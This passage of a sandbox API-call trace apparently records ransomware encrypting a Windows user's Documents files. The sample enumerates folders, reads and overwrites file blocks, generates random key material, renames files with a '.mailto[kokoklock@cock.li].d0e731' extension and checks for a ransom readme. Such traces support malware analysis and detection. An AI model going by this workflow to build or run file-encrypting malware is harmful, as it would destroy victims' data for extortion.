Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.651] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0170.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.651] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.651] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x129ef8ec, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x129ef8ec*=0x4096, lpOverlapped=0x0) returned 1 [0170.652] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0170.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057f80 [0170.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057f80) returned 1 [0170.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.653] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d28 [0170.653] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0170.653] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x129ef8ec, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x129ef8ec*=0x4096, lpOverlapped=0x0) returned 1 [0170.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.653] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x9e0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.653] WriteFile (in: hFile=0x528, lpBuffer=0x3057d28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x129ef924, lpOverlapped=0x0 | out: lpBuffer=0x3057d28*, lpNumberOfBytesWritten=0x129ef924*=0x20, lpOverlapped=0x0) returned 1 [0170.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d28) returned 1 [0170.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.654] WriteFile (in: hFile=0x528, lpBuffer=0x3057d00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x129ef938, lpOverlapped=0x0 | out: lpBuffer=0x3057d00*, lpNumberOfBytesWritten=0x129ef938*=0x8, lpOverlapped=0x0) returned 1 [0170.654] WriteFile (in: hFile=0x528, lpBuffer=0x129ef950*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x129ef938, lpOverlapped=0x0 | out: lpBuffer=0x129ef950*, lpNumberOfBytesWritten=0x129ef938*=0x4, lpOverlapped=0x0) returned 1 [0170.654] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x129ef938, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x129ef938*=0x4, lpOverlapped=0x0) returned 1 [0170.654] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x129ef938, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x129ef938*=0x6c, lpOverlapped=0x0) returned 1 [0170.655] WriteFile (in: hFile=0x528, lpBuffer=0x3057e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x129ef938, lpOverlapped=0x0 | out: lpBuffer=0x3057e68*, lpNumberOfBytesWritten=0x129ef938*=0x20, lpOverlapped=0x0) returned 1 [0170.655] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x129ef938, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x129ef938*=0x4, lpOverlapped=0x0) returned 1 [0170.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0170.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058070) returned 1 [0170.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0170.655] CloseHandle (hObject=0x528) returned 1 [0170.655] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f98b48 [0170.655] wcscpy (in: _Dest=0x2f98b48, _Source="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" [0170.656] wcscat (in: _Dest=0x2f98b48, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.656] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\mvtstnwabyt1ajl.odp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\mvtstnwabyt1ajl.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.657] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98b48) returned 1 [0170.657] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.657] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87af8 [0170.657] wcscpy (in: _Dest=0x2f87af8, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.657] wcscat (in: _Dest=0x2f87af8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.657] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87af8) returned 1 [0170.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee978) returned 1 [0170.658] RtlExitUserThread (Status=0x1) Thread: id = 1912 os_tid = 0xab8 [0170.658] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2fa0a00 [0170.658] wcscpy (in: _Dest=0x2fa0a00, _Source="C:\\Users\\FD1HVy\\Documents\\My Music" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Music") returned="C:\\Users\\FD1HVy\\Documents\\My Music" [0170.658] wcscat (in: _Dest=0x2fa0a00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Music\\") returned="C:\\Users\\FD1HVy\\Documents\\My Music\\" [0170.658] wcscat (in: _Dest=0x2fa0a00, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Music\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Music\\*" [0170.659] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0170.659] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0170.659] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0170.659] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0a00) returned 1 [0170.659] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa12c0) returned 1 [0170.659] RtlExitUserThread (Status=0x0) Thread: id = 1913 os_tid = 0xd40 [0170.668] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2fa0a00 [0170.668] wcscpy (in: _Dest=0x2fa0a00, _Source="C:\\Users\\FD1HVy\\Documents\\My Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Pictures") returned="C:\\Users\\FD1HVy\\Documents\\My Pictures" [0170.668] wcscat (in: _Dest=0x2fa0a00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Pictures\\") returned="C:\\Users\\FD1HVy\\Documents\\My Pictures\\" [0170.668] wcscat (in: _Dest=0x2fa0a00, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Pictures\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Pictures\\*" [0170.668] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0170.668] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Pictures\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0170.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0170.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0a00) returned 1 [0170.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88c08) returned 1 [0170.669] RtlExitUserThread (Status=0x0) Thread: id = 1914 os_tid = 0xd44 [0170.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2fa0a00 [0170.672] wcscpy (in: _Dest=0x2fa0a00, _Source="C:\\Users\\FD1HVy\\Documents\\My Shapes" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes" [0170.672] wcscat (in: _Dest=0x2fa0a00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\" [0170.672] wcscat (in: _Dest=0x2fa0a00, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*" [0170.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0170.672] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30457e8 [0170.673] wcscmp (_String1=".", _String2=".") returned 0 [0170.673] FindNextFileW (in: hFindFile=0x30457e8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.673] wcscmp (_String1="..", _String2=".") returned 1 [0170.673] wcscmp (_String1="..", _String2="..") returned 0 [0170.673] FindNextFileW (in: hFindFile=0x30457e8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0170.673] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0170.673] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0170.674] FindNextFileW (in: hFindFile=0x30457e8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1a0f60e, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1a0f60e, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0170.674] wcscmp (_String1="Favorites.vssx", _String2=".") returned 1 [0170.674] wcscmp (_String1="Favorites.vssx", _String2="..") returned 1 [0170.674] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x2f64ad0 [0170.674] wcscpy (in: _Dest=0x2f64ad0, _Source="C:\\Users\\FD1HVy\\Documents\\My Shapes" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes" [0170.674] wcscat (in: _Dest=0x2f64ad0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\" [0170.674] wcscat (in: _Dest=0x2f64ad0, _Source="Favorites.vssx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" [0170.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f64ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0170.921] FindNextFileW (in: hFindFile=0x30457e8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0170.921] wcscmp (_String1="_private", _String2=".") returned 1 [0170.921] wcscmp (_String1="_private", _String2="..") returned 1 [0170.921] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87f08 [0170.921] wcscpy (in: _Dest=0x2f87f08, _Source="C:\\Users\\FD1HVy\\Documents\\My Shapes" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes" [0170.921] wcscat (in: _Dest=0x2f87f08, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\" [0170.921] wcscat (in: _Dest=0x2f87f08, _Source="_private" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private" [0170.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0170.922] FindNextFileW (in: hFindFile=0x30457e8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0170.922] FindClose (in: hFindFile=0x30457e8 | out: hFindFile=0x30457e8) returned 1 [0170.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0170.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0a00) returned 1 [0170.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1810) returned 1 [0170.922] RtlExitUserThread (Status=0x0) Thread: id = 1915 os_tid = 0xd5c [0170.674] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2fa0ab0 [0170.674] wcscpy (in: _Dest=0x2fa0ab0, _Source="C:\\Users\\FD1HVy\\Documents\\My Videos" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Videos") returned="C:\\Users\\FD1HVy\\Documents\\My Videos" [0170.674] wcscat (in: _Dest=0x2fa0ab0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Videos\\") returned="C:\\Users\\FD1HVy\\Documents\\My Videos\\" [0170.674] wcscat (in: _Dest=0x2fa0ab0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Videos\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Videos\\*" [0170.674] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020570 [0170.674] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Videos\\*", lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0170.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020570) returned 1 [0170.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0ab0) returned 1 [0170.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1680) returned 1 [0170.675] RtlExitUserThread (Status=0x0) Thread: id = 1916 os_tid = 0xd58 [0170.676] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\o1d0ikutupyj.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.676] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\o1d0ikutupyj.xlsx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0170.677] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x12c6f9cc | out: lpFileSize=0x12c6f9cc*=76281) returned 1 [0170.677] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x129f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.677] ReadFile (in: hFile=0x6d8, lpBuffer=0x12c6f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12c6f99c, lpOverlapped=0x0 | out: lpBuffer=0x12c6f9a0*, lpNumberOfBytesRead=0x12c6f99c*=0x4, lpOverlapped=0x0) returned 1 [0170.679] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0170.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0170.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057f80 [0170.679] NtQuerySystemTime (in: CurrentTime=0x12c6f978 | out: CurrentTime=0x12c6f978*=132121213279910048) returned 0x0 [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x219324e5 [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x24f404cc [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xcf0e27f5 [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x672d47c5 [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x4640fdd [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x2194588d [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x29da293b [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x97a05fc7 [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x664a3b16 [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x2c5070f0 [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x84a1eb5a [0170.679] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xf1a2b595 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x3032dd28 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xe7578f1b [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xe43c1080 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xc970b87e [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xe0bdc0cf [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x2e2a2a14 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x79ebbf12 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x917a0d82 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x83b22633 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xb5d913be [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x1f43efc1 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xfbb70266 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x33cd0ba8 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x27fabd05 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x5aa4ee24 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xa4552edc [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xf7316705 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0xc0c2f6a4 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x725fd5c1 [0170.680] RtlRandom (in: Seed=0x12c6f984 | out: Seed=0x12c6f984) returned 0x2909efcc [0170.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058070 [0170.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0170.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0170.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.695] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.695] ReadFile (in: hFile=0x6d8, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12c6f950, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x12c6f950*=0x4096, lpOverlapped=0x0) returned 1 [0170.696] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0170.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057fa8 [0170.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057fa8) returned 1 [0170.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, 